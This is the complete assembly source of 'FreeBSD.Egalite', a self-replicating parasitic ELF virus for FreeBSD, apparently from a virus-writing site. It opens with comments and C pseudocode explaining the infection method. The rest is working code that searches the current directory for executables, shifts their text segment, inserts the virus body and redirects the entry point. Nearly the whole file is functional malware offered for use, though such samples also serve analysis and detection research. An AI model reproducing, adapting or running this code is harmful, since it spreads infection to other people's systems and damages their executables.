FreeBSD.Egalite
by herm1t

See also the project folder

; By using this file, you agree to the terms and conditions set
; forth in the COPYING file which can be found at the top level
; of this distribution.
;
; FreeBSD.Egalite herm1t@vx.netlux.org 19-10-2005
;
;      This is very basic parasitic virus for the FreeBSD. It infects one
;    file in current directory. Tested on 5.4R.
;
;      The infection method  ressembles  the well known one used in Linux
;    viruses: text segment is shifted down (in memory) and the virus body
;    and the copy  of the headers  is inserted  before  the start  of the
;    segment. There is only one difference with Linux: FreeBSD ELF loader
;    assumes that all neccessary headers ELF header,  program headers and
;    interp will fit in the first page.  This virus follows the habbit of
;    the  system loader  to make  a broad assumptions  about ELF internal
;    structure. :-)
; 
;       #define SHIFT_SHDRS(offset,delta) do {                          \
;               if (ehdr->e_shoff >= offset)                            \
;                       ehdr->e_shoff += delta;                         \
;               FOR_EACH_SHDR                                           \
;                       if (shdr->sh_offset >= offset)                  \
;                               shdr->sh_offset += delta;               \
;       } while(0)
;       #define MAKE_HOLE(off,size) do {                                \
;               char buf[BUF_SIZE];                                     \
;               memset(buf, 0, sizeof(buf));                            \
;               for (i = 0; i < size / sizeof(buf); i++)                \
;                       ASSERT(write(h, buf, sizeof(buf)) ==            \
;                               sizeof(buf));                           \
;               ASSERT(write(h, buf, size % sizeof(buf)) ==             \
;                               size % sizeof(buf));                    \
;               m = mremap(m, l, l + size, 0);                          \
;               if (m == MAP_FAILED)                                    \
;                       goto fini_close;                                \
;               if (off < l)                                            \
;                       memmove(m+off+size, m+off, l-off);              \
;               l += size;                                              \
;       } while(0)
;
;       /* ... at this point the file type and infection mark was       */
;       /* already checked, and file is mapped into memory              */
;       t = 0;
;       FOR_EACH_PHDR
;               if (phdr->p_type == PT_INTERP) {
;                       t = phdr->p_offset + phdr->p_filesz;
;                       break;
;               }
;       /* no INTERP, put the virus right after the EHDR,PHDR           */
;       if (t == 0)
;               t = ehdr->e_phoff + ehdr->e_phnum * sizeof(Elf32_Phdr);
;       /* do we have enough space?                                     */
;       ASSERT((PAGE_SIZE - t) > code_len);
;       
;       MAKE_HOLE(0, PAGE_SIZE);
;       memcpy(m + t, code, code_len);
;       bzero(m + t + code_len, PAGE_SIZE - code_len);
; 
;       /* adjust headers                                               */
;       SHIFT_SHDRS(0, PAGE_SIZE);
;       FOR_EACH_PHDR
;               /* extend text segment downwards                        */
;               if (phdr->p_type == PT_LOAD && phdr->p_offset == 0) {
;                       phdr->p_vaddr -= PAGE_SIZE;
;                       phdr->p_paddr -= PAGE_SIZE;
;                       phdr->p_filesz+= PAGE_SIZE;
;                       phdr->p_memsz += PAGE_SIZE;
;                       ehdr->e_entry = phdr->p_vaddr + t;
;               } else  /* leave these segments in the beginning...     */
;               if (phdr->p_type == PT_PHDR || phdr->p_type == PT_INTERP) {
;                       phdr->p_vaddr -= PAGE_SIZE;
;                       phdr->p_paddr -= PAGE_SIZE;
;               } else  /* shift the others                             */
;                       phdr->p_offset+= PAGE_SIZE;
;       /* unmap, close and return ...                                  */
                BITS    32
                CPU     386
                global  _start
%macro _mov 2
%if %2 == 0
        xor     %1, %1
        %else
                %if %2 < 128
                        push    byte %2
                        pop     %1
                %else
                        mov     %1, %2
                %endif
        %endif
%endmacro
%define O(x)    (x - virus_start)
%macro  syscall 3
        _mov    eax, %1
        push    eax
        int     0x80
        jnb     %%L1
        add     esp, (%2 * 4)
        jmp     %3
%%L1:   add     esp, (%2 * 4)
%endm

%define PAGE_SIZE       4096
%define SYS_write       4
%define SYS_open        5
%define SYS_close       6
%define SYS_lseek       19
%define SYS_mmap        197
%define SYS_munmap      73
%define SYS_getdents    272
%define D_RECLEN        4
%define D_NAME          8
%define PT_LOAD         1
%define PT_INTERP       3
%define PT_PHDR         6
%define e_entry         24
%define e_phoff         28
%define e_shoff         32
%define e_phnum         44
%define e_shnum         48
%define p_type          0
%define p_offset        4
%define p_vaddr         8
%define p_paddr         12
%define p_filesz        16
%define p_memsz         20
%define p_flags         24
%define p_align         28
%define sh_offset       16

_start:         jmp     virus_start
fake_host:      push    0
                mov     eax, 1
                push    eax
                int     0x80

virus_start:    pusha
                xor     edx, edx
                mov     dh, 4
                sub     esp, edx
                mov     ecx, esp
                mov     word [ecx], 0x2e
                push    0
                push    ecx
                syscall SYS_open, 3, .a1
                xchg    eax, ebx
                push    1024
                push    ecx
                push    ebx
                call    find_first
                or      eax, eax
                jz      .a1
        .a0:    push    eax
                call    infect
                or      eax, eax
                jnz     .a1
                push    1024
                push    ecx
                push    ebx             
                call    find_next
                or      eax, eax
                jnz     .a0
        .a1:    add     esp, edx
                popa
                push    strict dword fake_host
old_entry       equ     $ - 4
                ret
infect:         pusha
                mov     ebx, [esp + 36]
                xor     eax, eax
                mov     dword [esp + 28], eax
                cld
                push    2
                push    ebx
                syscall SYS_open, 3, .return
                xchg    eax, ebx
                push    2
                push    0
                push    ebx
                syscall SYS_lseek, 4, .close
                xchg    eax, edx
                push    0
                push    0               
                push    0
                push    ebx
                push    1       
                push    3
                push    edx
                push    0
                syscall SYS_mmap, 9, .close
                xchg    eax, esi
                mov     eax, dword [esi]
                add     eax, 0xb9b3ba81
                jnz     .unmap
                cmp     dword [esi + 16], 0x00030002
                jne     .unmap
                mov     eax, [esi + 20]
                dec     eax
                jnz     .unmap
                cmp     byte [esi + 7], 9
                jne     .unmap
                cmp     byte [esi + 8], 1
                je      .unmap
                mov     edi, esi
                add     edi, [esi + e_phoff]
                movzx   ecx, word [esi + e_phnum]
                mov     ebp, ecx
                shl     ebp, 5
                add     ebp, [esi + e_phoff]
        .f0:    cmp     dword [edi + p_type], PT_INTERP
                jne     .f1
                mov     ebp, [edi + p_offset]
                add     ebp, [edi + p_filesz]
                jmp     .f2
        .f1:    add     edi, 32
                loop    .f0
        .f2:    mov     ecx, PAGE_SIZE
                sub     ecx, ebp
                cmp     ecx, VIRUS_SIZE
                jb      .unmap
                pusha
                push    edx
                push    esi
                syscall SYS_munmap, 3, .unmap
                push    64
                pop     ecx
                sub     esp, ecx
                mov     edi, esp
                xor     eax, eax
                push    ecx
                push    edi
                rep     stosb
                pop     edi
                pop     ecx
        .i0:    push    64
                push    edi
                push    ebx
                mov     eax, SYS_write
                push    eax
                int     0x80
                add     esp, 16
                cmp     eax, 64
                je      .i1
                add     esp, 64
                popa
                jmp     .unmap
        .i1:    loop    .i0
                add     esp, 64
                add     edx, PAGE_SIZE
                push    0
                push    0               
                push    0
                push    ebx
                push    1       
                push    3
                push    edx
                push    0
                mov     eax, SYS_mmap
                push    eax
                int     0x80
                jnc     .i2
                add     esp, 36
                popa
                jmp     .close
        .i2:    add     esp, 36
                xchg    eax, esi
                push    esi
                lea     edi, [esi + edx]
                lea     esi, [edi - PAGE_SIZE]
                lea     ecx, [edx - PAGE_SIZE]
                std
                rep     movsb
                pop     esi
                mov     [esp +  4], esi
                mov     [esp + 20], edx         
                cld
                lea     edi, [esi + ebp]
                call    .a0
        .a0:    pop     esi
                lea     esi, [esi - .a0 + virus_start]
                mov     ecx, VIRUS_SIZE
                rep     movsb
                mov     ecx, PAGE_SIZE - VIRUS_SIZE
                xor     eax, eax
                rep     stosb
                popa
                mov     edi, esi
                add     edi, [esi + e_phoff]
                movzx   ecx, word [esi + e_phnum]
        .h0:    mov     eax, PAGE_SIZE
                cmp     dword [edi + p_type], PT_LOAD
                jne     .h1
                cmp     dword [edi + p_offset], 0
                jne     .h1
                sub     [edi + p_vaddr], eax
                sub     [edi + p_paddr], eax
                add     [edi + p_filesz], eax
                add     [edi + p_memsz], eax
                push    eax
                mov     eax, [esi + e_entry]
                mov     [esi + ebp + O(old_entry)], eax 
                mov     eax, [edi + p_vaddr]
                add     eax, ebp
                mov     [esi + e_entry], eax
                mov     byte [esi + 8], 1
                pop     eax
                jmp     .h4
        .h1:    cmp     dword [edi + p_type], PT_PHDR
                je      .h2
                cmp     dword [edi + p_type], PT_INTERP
                jne     .h3
        .h2:    sub     [edi + p_vaddr], eax
                sub     [edi + p_paddr], eax
                jmp     .h4
        .h3:    add     [edi + p_offset], eax
        .h4:    add     edi, 32
                loop    .h0
                mov     eax, PAGE_SIZE
                add     [esi + e_shoff], eax
                mov     edi, esi
                add     edi, [esi + e_shoff]
                movzx   ecx, word [esi + e_shnum]
        .g0:    add     [edi + sh_offset], eax
                add     edi, 40
                loop    .g0
                inc     dword [esp + 28]
.unmap:         push    edx
                push    esi
                mov     eax, SYS_munmap
                push    eax
                int     0x80
                add     esp, 12
.close:         push    ebx
                mov     eax, SYS_close
                push    eax
                int     0x80
                add     esp, 8
.return:        popa
                retn    4
find_first:     pusha
                xor     eax, eax
                mov     edi, [esp + 40]
                mov     [edi], eax
                jmp     find_next.s0
find_next:      pusha
                mov     edi, [esp + 40]
        .s0:    mov     ebx, [esp + 36]
                mov     ecx, [esp + 44]
                mov     edx, [edi]
                or      edx, edx
                jnz     .s2
                push    ecx
                push    edi
                push    ebx
                syscall SYS_getdents, 4, .s4
                or      eax, eax
                jz      .s4
                xor     ebp, ebp
        .s1:    add     bp, word [edi + ebp + D_RECLEN]
                inc     edx
                cmp     ebp, eax
                jb      .s1
                jmp     .s3
        .s2:    push    edi
                movzx   eax, word [edi + D_RECLEN]
                lea     esi, [edi + eax]
                sub     ecx, eax
                cld
                rep     movsb
                pop     edi
        .s3:    dec     edx
                lea     eax, [edi + D_NAME]
                jmp     .s5
        .s4:    xor     eax, eax
        .s5:    mov     [esp + 28], eax
                mov     [edi], edx
                popa
                retn    12
VIRUS_SIZE      equ     O($)